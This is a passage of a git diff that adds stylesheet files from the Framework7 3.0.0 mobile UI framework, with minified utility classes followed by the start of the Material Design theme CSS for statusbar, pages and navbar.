rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-5,.device-desktop .active-state.elevation-pressed-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-6,.device-desktop .active-state.elevation-pressed-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-7,.device-desktop .active-state.elevation-pressed-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-8,.device-desktop .active-state.elevation-pressed-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-9,.device-desktop .active-state.elevation-pressed-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-10,.device-desktop .active-state.elevation-pressed-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-11,.device-desktop .active-state.elevation-pressed-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-12,.device-desktop .active-state.elevation-pressed-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-13,.device-desktop .active-state.elevation-pressed-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-14,.device-desktop .active-state.elevation-pressed-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-15,.device-desktop .active-state.elevation-pressed-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-16,.device-desktop .active-state.elevation-pressed-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-17,.device-desktop .active-state.elevation-pressed-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-18,.device-desktop .active-state.elevation-pressed-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-19,.device-desktop .active-state.elevation-pressed-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-20,.device-desktop .active-state.elevation-pressed-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-21,.device-desktop .active-state.elevation-pressed-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-22,.device-desktop .active-state.elevation-pressed-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-23,.device-desktop .active-state.elevation-pressed-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-24,.device-desktop .active-state.elevation-pressed-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.elevation-transition-100{-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition,.elevation-transition-200{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-300{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-400{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-500{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.display-flex{display:-webkit-box!important;display:-webkit-flex!important;display:-ms-flexbox!important;display:flex!important}.display-block{display:block!important}.display-inline-flex{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important}.display-inline-block{display:inline-block!important}.display-inline{display:inline!important}.display-none{display:none!important}.flex-shrink-0{-webkit-flex-shrink:0!important;-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-webkit-flex-shrink:1!important;-ms-flex-negative:1!important;flex-shrink:1!important}.flex-shrink-2{-webkit-flex-shrink:2!important;-ms-flex-negative:2!important;flex-shrink:2!important}.flex-shrink-3{-webkit-flex-shrink:3!important;-ms-flex-negative:3!important;flex-shrink:3!important}.flex-shrink-4{-webkit-flex-shrink:4!important;-ms-flex-negative:4!important;flex-shrink:4!important}.flex-shrink-5{-webkit-flex-shrink:5!important;-ms-flex-negative:5!important;flex-shrink:5!important}.flex-shrink-6{-webkit-flex-shrink:6!important;-ms-flex-negative:6!important;flex-shrink:6!important}.flex-shrink-7{-webkit-flex-shrink:7!important;-ms-flex-negative:7!important;flex-shrink:7!important}.flex-shrink-8{-webkit-flex-shrink:8!important;-ms-flex-negative:8!important;flex-shrink:8!important}.flex-shrink-9{-webkit-flex-shrink:9!important;-ms-flex-negative:9!important;flex-shrink:9!important}.flex-shrink-10{-webkit-flex-shrink:10!important;-ms-flex-negative:10!important;flex-shrink:10!important}.justify-content-flex-start{-webkit-box-pack:start!important;-webkit-justify-content:flex-start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-center{-webkit-box-pack:center!important;-webkit-justify-content:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-flex-end{-webkit-box-pack:end!important;-webkit-justify-content:flex-end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-space-between{-webkit-box-pack:justify!important;-webkit-justify-content:space-between!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-space-around{-webkit-justify-content:space-around!important;-ms-flex-pack:distribute!important;justify-content:space-around!important}.justify-content-space-evenly{-webkit-box-pack:space-evenly!important;-webkit-justify-content:space-evenly!important;-ms-flex-pack:space-evenly!important;justify-content:space-evenly!important}.justify-content-stretch{-webkit-box-pack:stretch!important;-webkit-justify-content:stretch!important;-ms-flex-pack:stretch!important;justify-content:stretch!important}.justify-content-start{-webkit-box-pack:start!important;-webkit-justify-content:start!important;-ms-flex-pack:start!important;justify-content:start!important}.justify-content-end{-webkit-box-pack:end!important;-webkit-justify-content:end!important;-ms-flex-pack:end!important;justify-content:end!important}.justify-content-left{-webkit-box-pack:left!important;-webkit-justify-content:left!important;-ms-flex-pack:left!important;justify-content:left!important}.justify-content-right{-webkit-box-pack:right!important;-webkit-justify-content:right!important;-ms-flex-pack:right!important;justify-content:right!important}.align-content-flex-start{-webkit-align-content:flex-start!important;-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-flex-end{-webkit-align-content:flex-end!important;-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-webkit-align-content:center!important;-ms-flex-line-pack:center!important;align-content:center!important}.align-content-space-between{-webkit-align-content:space-between!important;-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-space-around{-webkit-align-content:space-around!important;-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-webkit-align-content:stretch!important;-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-items-flex-start{-webkit-box-align:start!important;-webkit-align-items:flex-start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-flex-end{-webkit-box-align:end!important;-webkit-align-items:flex-end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-webkit-align-items:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-stretch{-webkit-box-align:stretch!important;-webkit-align-items:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-self-flex-start{-webkit-align-self:flex-start!important;-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-flex-end{-webkit-align-self:flex-end!important;-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-webkit-align-self:center!important;-ms-flex-item-align:center!important;align-self:center!important}.align-self-stretch{-webkit-align-self:stretch!important;-ms-flex-item-align:stretch!important;align-self:stretch!important}.text-align-left{text-align:left!important}.text-align-center{text-align:center!important}.text-align-right{text-align:right!important}.text-align-justify{text-align:justify!important}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}.vertical-align-bottom{vertical-align:bottom!important}.vertical-align-middle{vertical-align:middle!important}.vertical-align-top{vertical-align:top!important}.no-padding{padding:0!important}.no-padding-left{padding-left:0!important}.no-padding-right{padding-right:0!important}.no-padding-top{padding-top:0!important}.no-padding-bottom{padding-bottom:0!important}.no-margin{margin:0!important}.no-margin-left{margin-left:0!important}.no-margin-right{margin-right:0!important}.no-margin-top{margin-top:0!important}.no-margin-bottom{margin-bottom:0!important}.width-auto{width:auto!important}.width-100{width:100%!important}.ios .padding{padding:15px!important}.ios .padding-top{padding-top:15px!important}.ios .padding-bottom{padding-bottom:15px!important}.ios .padding-left{padding-left:15px!important}.ios .padding-left-ios-edge{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios .padding-right-ios-edge{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.ios .padding-top-ios-edge{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .padding-bottom-ios-edge{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .padding-right{padding-right:15px!important}.ios .padding-vertical{padding-top:15px!important;padding-bottom:15px!important}.ios .padding-horizontal{padding-left:15px!important;padding-right:15px!important}.ios .margin{margin:15px!important}.ios .margin-top{margin-top:15px!important}.ios .margin-bottom{margin-bottom:15px!important}.ios .margin-left{margin-left:15px!important}.ios .margin-right{margin-right:15px!important}.ios .margin-vertical{margin-top:15px!important;margin-bottom:15px!important}.ios .margin-horizontal{margin-left:15px!important;margin-right:15px!important}.ios .text-color-red{color:#ff3b30!important}.ios .bg-color-red{background-color:#ff3b30!important}.ios .border-color-red{border-color:#ff3b30!important}.ios .text-color-green{color:#4cd964!important}.ios .bg-color-green{background-color:#4cd964!important}.ios .border-color-green{border-color:#4cd964!important}.ios .text-color-blue{color:#007aff!important}.ios .bg-color-blue{background-color:#007aff!important}.ios .border-color-blue{border-color:#007aff!important}.ios .text-color-pink{color:#ff2d55!important}.ios .bg-color-pink{background-color:#ff2d55!important}.ios .border-color-pink{border-color:#ff2d55!important}.ios .text-color-yellow{color:#fc0!important}.ios .bg-color-yellow{background-color:#fc0!important}.ios .border-color-yellow{border-color:#fc0!important}.ios .text-color-orange{color:#ff9500!important}.ios .bg-color-orange{background-color:#ff9500!important}.ios .border-color-orange{border-color:#ff9500!important}.ios .text-color-gray{color:#8e8e93!important}.ios .bg-color-gray{background-color:#8e8e93!important}.ios .border-color-gray{border-color:#8e8e93!important}.ios .text-color-white{color:#fff!important}.ios .bg-color-white{background-color:#fff!important}.ios .border-color-white{border-color:#fff!important}.ios .text-color-black{color:#000!important}.ios .bg-color-black{background-color:#000!important}.ios .border-color-black{border-color:#000!important} \ No newline at end of file diff --git a/framework7/css/framework7.md.css b/framework7/css/framework7.md.css new file mode 100644 index 0000000..73931ac --- /dev/null +++ b/framework7/css/framework7.md.css @@ -0,0 +1,18889 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html, +body, +.framework7-root { + position: relative; + height: 100%; + width: 100%; + overflow-x: hidden; +} +body { + margin: 0; + padding: 0; + font-size: 14px; + width: 100%; + background: #fff; + overflow: hidden; + -webkit-text-size-adjust: 100%; + -webkit-font-smoothing: antialiased; +} +.framework7-root { + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.framework7-initializing *, +.framework7-initializing *:before, +.framework7-initializing *:after { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +/* +a, button, input, textarea, .link, .button, label, .sortable-handler { + touch-action: manipulation; + -ms-touch-action: manipulation; +} +*/ +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 672px; + } +} +* { + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); + -webkit-touch-callout: none; +} +a, +input, +textarea, +select { + outline: 0; +} +a { + cursor: pointer; + text-decoration: none; +} +p { + margin: 1em 0; +} +.disabled { + opacity: 0.55 !important; + pointer-events: none !important; +} +.md body { + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + color: #212121; + line-height: 1.5; +} +.md .ios-only, +.md .if-ios { + display: none !important; +} +.md a { + color: #2196f3; +} +.md .theme-dark { + color: rgba(255, 255, 255, 0.87); +} +.md .color-theme-red a { + color: #f44336; +} +.md .color-theme-green a { + color: #4caf50; +} +.md .color-theme-blue a { + color: #2196f3; +} +.md .color-theme-pink a { + color: #e91e63; +} +.md .color-theme-yellow a { + color: #ffeb3b; +} +.md .color-theme-orange a { + color: #ff9800; +} +.md .color-theme-gray a { + color: #9e9e9e; +} +.md .color-theme-white a { + color: #ffffff; +} +.md .color-theme-black a { + color: #000000; +} +.md a.color-red { + color: #f44336; +} +.md a.color-green { + color: #4caf50; +} +.md a.color-blue { + color: #2196f3; +} +.md a.color-pink { + color: #e91e63; +} +.md a.color-yellow { + color: #ffeb3b; +} +.md a.color-orange { + color: #ff9800; +} +.md a.color-gray { + color: #9e9e9e; +} +.md a.color-white { + color: #ffffff; +} +.md a.color-black { + color: #000000; +} +/* === Statusbar === */ +.statusbar { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 10000; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: none; +} +html.device-ios .statusbar, +html.ios:not(.device-ios):not(.device-android) .statusbar { + height: 20px; +} +html.device-android .statusbar, +html.md:not(.device-ios):not(.device-android) .statusbar { + height: 24px; +} +html.device-ios.device-iphone-x .statusbar { + height: constant(safe-area-inset-top); + height: env(safe-area-inset-top); +} +html.with-statusbar .statusbar { + display: block; +} +html.with-statusbar.device-ios .framework7-root, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 20px; +} +html.with-statusbar.device-android .framework7-root, +html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 24px; +} +html.with-statusbar.device-iphone-x .framework7-root { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.md .statusbar { + background: #0a6ebd; +} +.md .color-theme-red .statusbar { + background: #d2190b; +} +.md .color-theme-green .statusbar { + background: #357a38; +} +.md .color-theme-blue .statusbar { + background: #0a6ebd; +} +.md .color-theme-pink .statusbar { + background: #aa1145; +} +.md .color-theme-yellow .statusbar { + background: #eed500; +} +.md .color-theme-orange .statusbar { + background: #b36a00; +} +.md .color-theme-gray .statusbar { + background: #787878; +} +.md .color-theme-white .statusbar { + background: #d9d9d9; +} +.md .color-theme-black .statusbar { + background: #000000; +} +/* === Views === */ +.views, +.view { + position: relative; + height: 100%; + z-index: 5000; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +/* === Pages === */ +.pages { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} +.page { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.page.stacked { + display: none; +} +.page-previous { + pointer-events: none; +} +.page-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; + position: relative; + z-index: 1; +} +.md .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.md .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.md .page { + background: #fff; +} +.md .page-next { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + pointer-events: none; +} +.md .page-next.page-next-on-right { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.md .page-transitioning, +.md .page-transitioning .page-shadow-effect, +.md .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.md .page-transitioning-swipeback, +.md .page-transitioning-swipeback .page-shadow-effect, +.md .page-transitioning-swipeback .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .router-transition-forward .page, +.md .router-transition-backward .page { + pointer-events: none; +} +.md .router-transition-css-forward .page-next { + -webkit-animation: md-page-next-to-current 250ms forwards; + animation: md-page-next-to-current 250ms forwards; +} +.md .router-transition-css-forward .page-current { + -webkit-animation: none; + animation: none; +} +.md .router-transition-css-backward .page-current { + -webkit-animation: md-page-current-to-next 250ms forwards; + animation: md-page-current-to-next 250ms forwards; +} +.md .router-transition-css-backward .page-previous { + -webkit-animation: none; + animation: none; +} +.md .theme-dark .page, +.page.md .theme-dark { + background: #171717; +} +@-webkit-keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@-webkit-keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +@keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +/* === Link === */ +.link, +.tab-link { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 1; +} +.md .link i + span, +.md .link i + i, +.md .link span + i, +.md .link span + span { + margin-left: 8px; +} +/* === Navbar === */ +.navbar { + position: relative; + left: 0; + top: 0; + width: 100%; + z-index: 500; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar b { + font-weight: 500; +} +.navbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.navbar .title, +.navbar .left, +.navbar .right { + position: relative; + z-index: 1; +} +.navbar .title { + text-align: center; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + font-weight: 500; + display: inline-block; +} +.navbar .subtitle { + display: block; +} +.navbar .left, +.navbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar .right:first-child { + position: absolute; + height: 100%; +} +.navbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.navbar-inner.stacked { + display: none; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.md .navbar { + height: 56px; + background: #2196f3; + color: #fff; + font-size: 20px; +} +.md .navbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .navbar.no-shadow:after { + display: none; +} +.md .navbar a { + color: inherit; +} +.md .navbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + height: 56px; + line-height: 56px; +} +.md .navbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .navbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .navbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .navbar .title { + margin: 0 16px; + line-height: 1.2; + text-align: left; +} +.md .navbar .subtitle { + line-height: 1.2; + font-size: 14px; + font-weight: normal; + color: rgba(255, 255, 255, 0.85); +} +.md .navbar .right { + margin-left: auto; +} +.md .navbar .right:first-child { + right: 16px; +} +.md .navbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; +} +.md .page-with-subnavbar .navbar-inner { + overflow: visible; +} +.md .navbar ~ * .page-content, +.md .navbar ~ .page-content { + padding-top: 56px; +} +@media (min-width: 768px) { + .md .navbar { + height: 64px; + } + .md .navbar a.link { + height: 64px; + line-height: 64px; + } + .md .navbar ~ * .page-content, + .md .navbar ~ .page-content { + padding-top: 64px; + } +} +.md .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .navbar-hidden:after { + display: none; +} +.md .color-theme-red .navbar, +.md .color-theme-red.navbar { + background: #f44336; +} +.md .color-theme-green .navbar, +.md .color-theme-green.navbar { + background: #4caf50; +} +.md .color-theme-blue .navbar, +.md .color-theme-blue.navbar { + background: #2196f3; +} +.md .color-theme-pink .navbar, +.md .color-theme-pink.navbar { + background: #e91e63; +} +.md .color-theme-yellow .navbar, 